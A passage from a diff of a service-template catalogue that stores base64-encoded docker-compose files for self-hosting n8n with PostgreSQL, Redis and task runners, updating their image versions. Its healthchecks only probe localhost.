ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC40JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ1dFQkhPT0tfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdOOE5fUFJPVE9DT0w9JHtOOE5fUFJPVE9DT0w6LWh0dHBzfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gRVhFQ1VUSU9OU19NT0RFPXF1ZXVlCiAgICAgIC0gUVVFVUVfQlVMTF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUVVFVUVfSEVBTFRIX0NIRUNLX0FDVElWRT10cnVlCiAgICAgIC0gJ044Tl9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfRU5DUllQVElPTn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtIE9GRkxPQURfTUFOVUFMX0VYRUNVVElPTlNfVE9fV09SS0VSUz10cnVlCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgICAtICdOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLPSR7TjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4LycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG44bi13b3JrZXI6CiAgICBpbWFnZTogJ244bmlvL244bjoyLjEwLjQnCiAgICBjb21tYW5kOiB3b3JrZXIKICAgIGVudmlyb25tZW50OgogICAgICAtICdHRU5FUklDX1RJTUVaT05FPSR7R0VORVJJQ19USU1FWk9ORTotVVRDfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgICAgLSBEQl9UWVBFPXBvc3RncmVzZGIKICAgICAgLSAnREJfUE9TVEdSRVNEQl9EQVRBQkFTRT0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgICAtIERCX1BPU1RHUkVTREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QT1JUPTU0MzIKICAgICAgLSBEQl9QT1NUR1JFU0RCX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIERCX1BPU1RHUkVTREJfU0NIRU1BPXB1YmxpYwogICAgICAtIERCX1BPU1RHUkVTREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBFWEVDVVRJT05TX01PREU9cXVldWUKICAgICAgLSBRVUVVRV9CVUxMX1JFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBRVUVVRV9IRUFMVEhfQ0hFQ0tfQUNUSVZFPXRydWUKICAgICAgLSAnTjhOX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF9FTkNSWVBUSU9OfScKICAgICAgLSBOOE5fUlVOTkVSU19FTkFCTEVEPXRydWUKICAgICAgLSBOOE5fUlVOTkVSU19NT0RFPWV4dGVybmFsCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUz0ke044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUzotMC4wLjAuMH0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9QT1JUPSR7TjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ6LTU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUj0ke044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUjotdHJ1ZX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWT0ke044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWTotNX0nCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgICAtICdOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLPSR7TjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4L2hlYWx0aHonCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIG44bjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBwb3N0Z3Jlc3FsOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgcG9zdGdyZXNxbDoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXMtZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgdGFzay1ydW5uZXJzOgogICAgaW1hZ2U6ICduOG5pby9ydW5uZXJzOjIuMTAuNCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk9JHtOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk6LWh0dHA6Ly9uOG4td29ya2VyOjU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVD0ke044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVDotMTV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBuOG4KICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", "tags": [ "n8n", "workflow", @@ -2922,7 +2905,7 @@ "n8n-with-postgresql": { "documentation": "https://n8n.io?utm_source=coolify.io", "slogan": "n8n is an extendable workflow automation tool.", - "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9OOE5fNTY3OAogICAgICAtICdOOE5fRURJVE9SX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdOOE5fSE9TVD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ044Tl9QUk9UT0NPTD0ke044Tl9QUk9UT0NPTDotaHR0cHN9JwogICAgICAtICdHRU5FUklDX1RJTUVaT05FPSR7R0VORVJJQ19USU1FWk9ORTotVVRDfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgICAgLSBEQl9UWVBFPXBvc3RncmVzZGIKICAgICAgLSAnREJfUE9TVEdSRVNEQl9EQVRBQkFTRT0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgICAtIERCX1BPU1RHUkVTREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QT1JUPTU0MzIKICAgICAgLSBEQl9QT1NUR1JFU0RCX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIERCX1BPU1RHUkVTREJfU0NIRU1BPXB1YmxpYwogICAgICAtIERCX1BPU1RHUkVTREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBOOE5fUlVOTkVSU19FTkFCTEVEPXRydWUKICAgICAgLSBOOE5fUlVOTkVSU19NT0RFPWV4dGVybmFsCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUz0ke044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUzotMC4wLjAuMH0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9QT1JUPSR7TjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ6LTU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUj0ke044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUjotdHJ1ZX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWT0ke044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWTotNX0nCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgICAtICdOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLPSR7TjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4LycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHRhc2stcnVubmVyczoKICAgIGltYWdlOiAnbjhuaW8vcnVubmVyczoyLjEuNScKICAgIGVudmlyb25tZW50OgogICAgICAtICdOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk9JHtOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk6LWh0dHA6Ly9uOG46NTY3OX0nCiAgICAgIC0gTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9OOE4KICAgICAgLSAnTjhOX1JVTk5FUlNfQVVUT19TSFVURE9XTl9USU1FT1VUPSR7TjhOX1JVTk5FUlNfQVVUT19TSFVURE9XTl9USU1FT1VUOi0xNX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWT0ke044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWTotNX0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIG44bgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1NjgwLycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ1dFQkhPT0tfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdOOE5fUFJPVE9DT0w9JHtOOE5fUFJPVE9DT0w6LWh0dHBzfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICB0YXNrLXJ1bm5lcnM6CiAgICBpbWFnZTogJ244bmlvL3J1bm5lcnM6Mi4xMC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ044Tl9SVU5ORVJTX1RBU0tfQlJPS0VSX1VSST0ke044Tl9SVU5ORVJTX1RBU0tfQlJPS0VSX1VSSTotaHR0cDovL244bjo1Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ9JHtOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ6LTE1fScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gbjhuCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2ODAvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcG9zdGdyZXNxbDoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", "tags": [ "n8n", "workflow", @@ -2940,7 +2923,7 @@ "n8n": { "documentation": "https://n8n.io?utm_source=coolify.io", "slogan": "n8n is an extendable workflow automation tool.", - "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9OOE5fNTY3OAogICAgICAtICdOOE5fRURJVE9SX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdOOE5fSE9TVD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdOOE5fUFJPVE9DT0w9JHtOOE5fUFJPVE9DT0w6LWh0dHBzfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gJ0RCX1NRTElURV9QT09MX1NJWkU9JHtEQl9TUUxJVEVfUE9PTF9TSVpFOi0yfScKICAgICAgLSBOOE5fUlVOTkVSU19FTkFCTEVEPXRydWUKICAgICAgLSBOOE5fUlVOTkVSU19NT0RFPWV4dGVybmFsCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUz0ke044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUzotMC4wLjAuMH0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9QT1JUPSR7TjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ6LTU2Nzl9JwogICAgICAtICdOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSR7U0VSVklDRV9QQVNTV09SRF9OOE59JwogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICB0YXNrLXJ1bm5lcnM6CiAgICBpbWFnZTogJ244bmlvL3J1bm5lcnM6Mi4xLjU